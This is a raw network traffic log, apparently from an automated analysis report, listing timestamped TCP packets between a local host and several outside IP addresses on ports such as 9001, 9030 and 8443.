Feb 9, 2023 00:59:59.346623898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346673965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346713066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346751928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346803904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346834898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346852064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346879959 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346889973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346935034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346963882 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346971989 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347007036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347037077 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347048998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347095966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347125053 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347141981 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347177982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347204924 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347212076 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347255945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347281933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347290039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347322941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347364902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347394943 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347408056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347428083 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347460985 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347491980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347517967 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347543001 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347574949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347574949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347603083 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347604036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347630978 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347634077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347671032 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347700119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347702980 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347726107 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347747087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347754002 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347768068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347788095 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347805023 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347826004 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347826004 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347846031 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347855091 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347867012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347887039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347893953 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347907066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347928047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347937107 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347949982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347970963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.347981930 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.347990036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348018885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348041058 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348042011 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348054886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348073006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348098993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348119974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348126888 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348148108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348162889 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348175049 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348190069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348216057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348221064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348253012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348278999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348284006 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348309040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348310947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.348341942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.348798990 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439038992 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439088106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439100027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439109087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439119101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439140081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439160109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439162016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439209938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439229965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439237118 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439254999 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439296961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439340115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439343929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439358950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439379930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439394951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439409971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439423084 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439537048 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439553022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439599037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.439655066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.439982891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.440025091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.440054893 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.440057993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.440110922 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 01:00:02.229496956 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 01:00:10.089900970 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 01:00:10.188514948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 01:00:10.222053051 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:10.222136974 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:10.222266912 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:10.222618103 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:10.222637892 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:10.754105091 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:10.754296064 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:10.759329081 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:10.759387970 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:10.759923935 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:10.786273956 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:10.786329031 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:20.788011074 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:20.788171053 CET	443	49701	192.9.235.157	192.168.2.5
Feb 9, 2023 01:00:20.788260937 CET	49701	443	192.168.2.5	192.9.235.157
Feb 9, 2023 01:00:20.810338974 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:20.875152111 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:20.875291109 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:20.875709057 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:20.939883947 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:20.943046093 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:20.949861050 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:21.015047073 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.015080929 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.018888950 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:21.084057093 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.084624052 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.084646940 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.084793091 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:21.093580008 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:21.142152071 CET	49703	9030	192.168.2.5	62.35.195.87
Feb 9, 2023 01:00:21.157474995 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.188916922 CET	9030	49703	62.35.195.87	192.168.2.5
Feb 9, 2023 01:00:21.189120054 CET	49703	9030	192.168.2.5	62.35.195.87
Feb 9, 2023 01:00:21.193659067 CET	49703	9030	192.168.2.5	62.35.195.87
Feb 9, 2023 01:00:21.235774994 CET	9030	49703	62.35.195.87	192.168.2.5
Feb 9, 2023 01:00:21.351826906 CET	9030	49703	62.35.195.87	192.168.2.5
Feb 9, 2023 01:00:21.352094889 CET	9030	49703	62.35.195.87	192.168.2.5
Feb 9, 2023 01:00:21.352221012 CET	49703	9030	192.168.2.5	62.35.195.87
Feb 9, 2023 01:00:21.360049009 CET	49703	9030	192.168.2.5	62.35.195.87
Feb 9, 2023 01:00:21.360580921 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:21.367768049 CET	49704	9001	192.168.2.5	51.75.32.31
Feb 9, 2023 01:00:21.406672001 CET	9030	49703	62.35.195.87	192.168.2.5
Feb 9, 2023 01:00:21.425956964 CET	9001	49702	2.59.235.35	192.168.2.5
Feb 9, 2023 01:00:21.426136017 CET	49702	9001	192.168.2.5	2.59.235.35
Feb 9, 2023 01:00:24.381138086 CET	49704	9001	192.168.2.5	51.75.32.31
Feb 9, 2023 01:00:30.381583929 CET	49704	9001	192.168.2.5	51.75.32.31
Feb 9, 2023 01:00:31.384951115 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.410392046 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.410586119 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.411016941 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.436602116 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.440040112 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.446460009 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.473798037 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.478867054 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.505290031 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.505352020 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.505523920 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.515572071 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.584018946 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.805854082 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.828773022 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.829021931 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.829341888 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.851886988 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.852750063 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.852790117 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.852822065 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.852849007 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.852874994 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.852896929 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.852896929 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.852945089 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.866952896 CET	49706	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.885238886 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.889516115 CET	9030	49706	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.910557985 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.913913012 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:31.945041895 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.959943056 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:31.967871904 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.968091965 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.968424082 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.990298986 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990334034 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990355968 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990375042 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990395069 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990417957 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990444899 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990442991 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.990474939 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990484953 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.990484953 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:31.990499020 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:31.990535021 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.026767015 CET	49707	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.043946028 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.049072027 CET	9030	49707	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.112102985 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.187093019 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.216734886 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.241535902 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.264169931 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.302200079 CET	49708	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.303627968 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.324265957 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.324580908 CET	49708	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.324678898 CET	49708	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.346740007 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.346796989 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.346823931 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.346853971 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.346913099 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.346941948 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.346980095 CET	49708	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.347024918 CET	49708	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.361243010 CET	49708	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.382735014 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.383708000 CET	9030	49708	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.411004066 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.445311069 CET	49709	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.459938049 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.467358112 CET	9030	49709	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.467535019 CET	49709	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.467812061 CET	49709	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.490658998 CET	9030	49709	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.690979004 CET	9030	49709	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.691025019 CET	9030	49709	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.691059113 CET	9030	49709	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.691143990 CET	49709	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.706159115 CET	49709	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.723273039 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.728168011 CET	9030	49709	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.770037889 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.798113108 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.843034983 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.849999905 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.894635916 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.902014971 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.910496950 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.932943106 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.933093071 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.933310032 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.955193043 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.955236912 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.955264091 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.955291033 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.955317020 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.955342054 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:32.955353022 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.955440998 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.955440998 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.968403101 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:32.969280005 CET	49710	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:32.983078957 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:32.991687059 CET	9030	49710	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.007810116 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:33.014653921 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:33.035413980 CET	49711	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:33.058160067 CET	9030	49711	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.058362961 CET	49711	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:33.058582067 CET	49711	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:33.069312096 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:33.081309080 CET	9030	49711	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.081352949 CET	9030	49711	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.081377983 CET	9030	49711	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.081402063 CET	9030	49711	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.081443071 CET	49711	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:33.082385063 CET	49711	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:33.096193075 CET	49711	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:33.119030952 CET	9030	49711	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:33.120409012 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:33.187886953 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:34.457828045 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:34.480927944 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:34.505620956 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:34.657139063 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:34.666290045 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:34.691579103 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:34.921144962 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:34.975841045 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:35.099076033 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:35.108185053 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:35.117999077 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.132813931 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:35.140064955 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.140254021 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.140511036 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.163551092 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.171627998 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.171706915 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.171775103 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.171797037 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.171842098 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.171904087 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.171905041 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.171963930 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.197586060 CET	49712	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.219407082 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:35.220643997 CET	9030	49712	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.244549036 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:35.247258902 CET	8443	49705	140.78.100.35	192.168.2.5
Feb 9, 2023 01:00:35.273881912 CET	49713	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.288342953 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:35.296941042 CET	9030	49713	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.297029972 CET	49713	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.297224998 CET	49713	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.319569111 CET	9030	49713	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.319740057 CET	9030	49713	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.319778919 CET	9030	49713	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.319824934 CET	9030	49713	116.203.195.42	192.168.2.5
Feb 9, 2023 01:00:35.319884062 CET	49713	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.322916985 CET	49713	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.341712952 CET	49713	9030	192.168.2.5	116.203.195.42
Feb 9, 2023 01:00:35.356286049 CET	49705	8443	192.168.2.5	140.78.100.35
Feb 9, 2023 01:00:35.366919994 CET	9030	49713	116.203.195.42	192.168.2.5
